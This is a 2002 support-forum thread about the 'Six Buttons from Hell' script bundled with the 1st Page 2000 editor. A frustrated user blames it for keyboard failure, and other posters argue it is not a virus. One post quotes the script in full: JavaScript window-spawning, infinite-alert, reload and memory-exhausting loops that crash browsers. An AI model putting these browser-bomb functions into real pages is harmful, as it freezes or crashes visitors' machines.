PDA

View Full Version : six keys from hell i got it how can i remove??


o2o3
10-22-2002, 10:04 PM
this virus was opened on my laptop and it has taken over my keyboard i cant type it adds 3 letters when i type one letter no w key i cant do clear alt delete i cant reformate the computer or cant i remove it what can i do to remove this ???? this really suxs does evrsoft have a phone number??? those cowards with no phone number

madpommie
10-23-2002, 05:34 AM
try rebooting or repowering

hopefully you have an antivirus package that you can remove the virus with.

If u have no antivirus then you can search the web using the mouse where possible for a remedy to the virus, try symantec.com...yeah it is difficult.

and get yourself a firewall (www.zonelabs.com) do a freebie version.

Dynasty
10-23-2002, 05:43 AM
If you mean the six buttons from hell thing all that does is open stuff till you run out of memory, all you need for that is a reboot. Or in the case of winxp log out and in again.

o2o3
10-23-2002, 04:53 PM
this thing has total control over my keyboard have you ever seen what this virus does ??? i dont think anyone knows it is logged in my cmos or internal ram i even tried to reboot from a floppy and to reformate but i cant use my keyboard it make 4 letters when you press it once the w key doesnt work at all does anyone know how to remove this???? the company isnt calling me i faxed them and emailed them i need my computer back what the **** does anyone here have the phone number to this company or anyone from this company reading this email me o2o4@yahoo.com help

DCElliott
10-24-2002, 12:03 PM
This is not the behaviour of "Six Buttons"!!!

There are a couple of possibilities.
1) I beleve you said you are using a laptop. Some brands are susceptable to connection problems between the keyboard and mainboard (Dells for example) and can create spontaneous keystrokes, open windows, etc.
2) You may have a virus, boot from an antivirus boot disk (make sure the disk is write protected by opening the little tab on the diskette so that both corner slots are open - this prevents infection of the diskette)

DE

HZR
10-24-2002, 12:21 PM
Hmm, how did you type those posts? (another computer)

Anyway, once and for all, that file is NOT a virus, but six simple infinite javascripts that will continue till you either close your browser (or 1st page) with Ctrl+Alt+Del, or reboot.

_________________
BTW, Boris, since you're the only moderator still around, make a sticky topic about these buttons not beeing a virus. Thanks.

DCElliott
10-24-2002, 03:00 PM
Actually HZR, Boris already has a blurb at the top of the forums regarding this. However, Boris, if yer listenin', make that post title much more explicit or create a second sticky dealing specifically with the Six Buttons issue.

I think Norton recently added the Six Buttons script to their virus signature file so a lot of peeps are getting panicked. I had run system scans for ages without it registering then got a message a few weeks ago. I just nuked the file. The amount of posts this is causing makes it resemble a virus in lost bandwidth and productivity, though.

If people ignore an explicit post, Boris can drop the RTFM hammer on them hard.
Get the heavy hardware ready, Boris :bangbang: :shoot: :bang:

DCE

o2o3
10-24-2002, 03:06 PM
i have run norton from a floppy disk recuse disk it does not remove it this thing has destroyed my laptop i cant reformate it even this is bull**** why dont you open it and see what happens????? i cant use my keyboard to reformate this is really **** dont believe what you read this is a virus and it is bad

DCElliott
10-24-2002, 03:51 PM
Have it your way then.

Someone will try to help you when you are ready to listen.

DE

o2o3
10-24-2002, 03:58 PM
have you opened the file and seen what it does ??? i am going to try to reformate with the tåb open on the floppy but damn i have to reformate because of this peice of **** virus

gypsiegrrl
10-24-2002, 05:58 PM
It is actually according to some antivirus packages a trojan.

You just need to delete the file
1st Page 2000\ISCRIPTS\BUTTONS\SIX BUTTONS FROM HELL.IZS

Doing that you can jump for joy :joy: it should be gone and hopefully you can then determine what the real problem is

:jumpy: Gypsie

o2o3
10-24-2002, 06:36 PM
i did delete it and it didnt work i deleted it right awåy the start up floppy trick didnt work either it still has control of the keyboard this is ****

Dynasty
10-24-2002, 07:04 PM
Jesus you really haven't looked at the six buttons from hell file have you.

This is the whole contents of the file

<!NOWIZARD>
<!TITLE>Six buttons from hell<!/TITLE>
<!DESCRIPTION>Clicking on any of these buttons will really cause you pain...<!/DESCRIPTION>
<!CATEGORY>Buttons<!/CATEGORY>

<!SCRIPT>
<!-- START OF SCRIPT -->
<!-- For more scripts visit http://www.netpedia.com -->
<SCRIPT LANGUAGE="JavaScript">

<!-- Begin
function AnnoyingButton()
{
while (true)
window.alert("HAHAHA...you can't do anything anymore in Netscape without exiting and restarting....HAHAHA so gimme da UT now...or else!") }
// Keep opening windows over and over again
function WindowBomb()
{
var iCounter = 0 // dummy counter
while (true)
{
window.open("http://www.NETural.com/~ccamel","CRASHING" + iCounter,"width=1,height=1,resizable=no")
iCounter++
}
}
// Not as interesting as the other bombs, but this one forces the user to
// stay at the current page. User cannot switch to another page, or click
// stop to stop the reloading.
function ReloadBomb()
{
history.go(0) // reload this page
window.setTimeout('ReloadBomb()',1) // tell netscape to hit this function
// every milisecond =)
}
// Not a very interesting bomb, it does nothing really :>
function WhileLoopLock()
{
while (true){}
}
var szEatMemory = "GOBBLEGOBBLE" // our string to consume our memory
// Now this function EatMemoryInTime is a interesting one that could be
// placed on a timer for maximum nastiness :> I have been able to get
// up to 4Megs consumed by Netscape forcing my machine to crawl =)
// AND it's time driven! No while loops here!
function EatMemoryInTime()
{
szEatMemory = szEatMemory + szEatMemory // keep appending
window.status = "String Length is: " + szEatMemory.length // report size
window.setTimeout('EatMemoryInTime()',1); // tell netscape to hit this function
}
// End -->

</SCRIPT>
<font size=2>
[Everything in here will <Font Color="#FF0000"><B>KILL</B></Font> your browser]<br>
</center>
<FORM method=post name="FormAction" action="mailto:"+"ccamel@netural.com">
<li>Window Spawner - opens windows, over and over and over
again. Sucking up memory resources, until Netscape uses all of it's
assigned memory and crashes<P>
<INPUT TYPE="button" value="Exploding Windows"
Name="btnExplodeWindows" onClick="WindowBomb()"><P><br>
<li>Continous Prompts - Don't you love being stuck in a
infinite loops of Javascript Prompts?<P>
<INPUT TYPE="button" value="Annoying Button" Name="btnAnnoy"
onClick="AnnoyingButton()"><P><br>
<li>Continous Reloads - Reload the page every milli-second<P>
<INPUT TYPE="button" value="Reload Bomb" Name="btnReload"
onClick="ReloadBomb()"><P><br>
<li>Empty While Loop - Just sits forever in the while loop<P>
<INPUT TYPE="button" value="While Loop Lock" Name="btnWhile"
onClick="WhileLoopLock()"><p><br>
<li>Memory-Monster - infinite calcultations can take up a
lot of memory ;P<P>
<INPUT TYPE="button" value="Eat Memory In Time" Name="btnEatTime"
onClick="EatMemoryInTime()"><p><br>
<li>mailto submit bug - putting a '+' in front of the email
address in front of mailto in the action of a form is BAD!<P>
<INPUT TYPE="button" value="Action!" onClick="document.FormAction.submit()"><br>
</font>
<!-- END OF SCRIPT -->
<!/SCRIPT>

And if that doesn't convince you, then you are probably doing all this to really annoy people.

o2o3
10-24-2002, 10:12 PM
thats not whats on my laptop this is a hellish virus i dont believe thå†_is the code for it i just want my laptop back and this piece of **** virus from this ****ed up company has ruined it and wasted my time

Dynasty
10-25-2002, 01:40 AM
Then if that is not what has got your laptop then it has nothing to do with 1st page 2000.

gdadp
10-25-2002, 10:34 AM
Hey Guys I just down loaded 1st page from "Rocket Download" on 10/23, and today 10/25 my V Sheild found it. If this "Six Buttons" is your program, why doesn't it show up in my directory even as a hidden file.

As luck would have it I had not opened it yet so maybe I'm not infected. V Sheild said it could not clean it and that i should delete the file, but how when you can't find it. I have moved all the files in the button directory into another folder so it can't acdentaly be opened. I wound not like to delete the entire directory and loose all the buttons.

any suggestions?

krymsunmortis
10-25-2002, 11:03 AM
When you open it your Anti virus prog should find it
I use Nortons and it found it
I then opened nortons and went to the quarantine folder and then told nortons to delete that simple

I think what has infected the o2 guy isn't Six Buttons but he probably remebers seeing something about it and is thinking it is that. I remember when the melissa virus and I love you came out anytime something went wrong with someones comp they instantly blamed those viruses even though it was just your everyday-run-of-the-mill-Bill-Gates-Blue-screen
and I agree with dcElliot and those that say Hammer the guy
If for no other reason than he just wont listen to anyone

DCElliott
10-27-2002, 05:54 AM
Just for clarification - I never said Hammer the guy - he's got/had enough grief. Less emotion and more reason would have helped.

o2o3 - I'd be interested in knowing what it was in the end, if you want to ever talk with us again, that is . . . :grrrr:

DE

firstlight
11-03-2002, 01:17 AM
Bismillaah. Peace; o2o3 has a real problem it seems. About a week ago I had done a routine virus scan with Norton anti-virus. It pulled up what it calls Js. Trojan.windowBomb. I requested that the file [in evrsoft 1st page 2000] be repaired. But it could not be repaired. Instead it was placed in quarantine, where it remains presently. The file is called 'six buttons from hell.izs'. The odd thing is that it was never discovered in previous scans, which could mean that it was picked up recently, but where, I do not know. I hope that helps!

polliwogfrog
11-04-2002, 02:57 AM
It's not a virus! The newbies coming here need to
read through all of the posts, there must be at
least 150-200 posts dealing with this very issue!
DC mentioned reading Boris' message posted at the
top of all message board forums, says "RTFMN!"
Just delete the puppy, 0203 has another problem and
doesn't know/listen to advice....geesh!
Oh, and what happened to this thread? Originator
must have typed until the screen dissappeared,
I had to spread open to the limits to read, and still
had to horizontal-scroll! LOL
Polliwog
:joy:

madpommie
03-19-2003, 03:14 AM
Might seem a silly question, but if the laptop is over one day old, someone may have spilt soup or soft drink on the keyboard and soaked the contact pads

happened to my keyboard when I had one drink too many one night.
next day couldn't use the keyboard as it locked up, multi pressed letters etc. took it to bits, cleaned & dried it and voila, no problem.

BoR|S
04-22-2003, 03:19 AM
A good guide about how to remove the six buttons from hell script is located here (http://developers.evrsoft.com/forum/showthread.php?s=&postid=6270#post6270).

This thread is locked. :hellother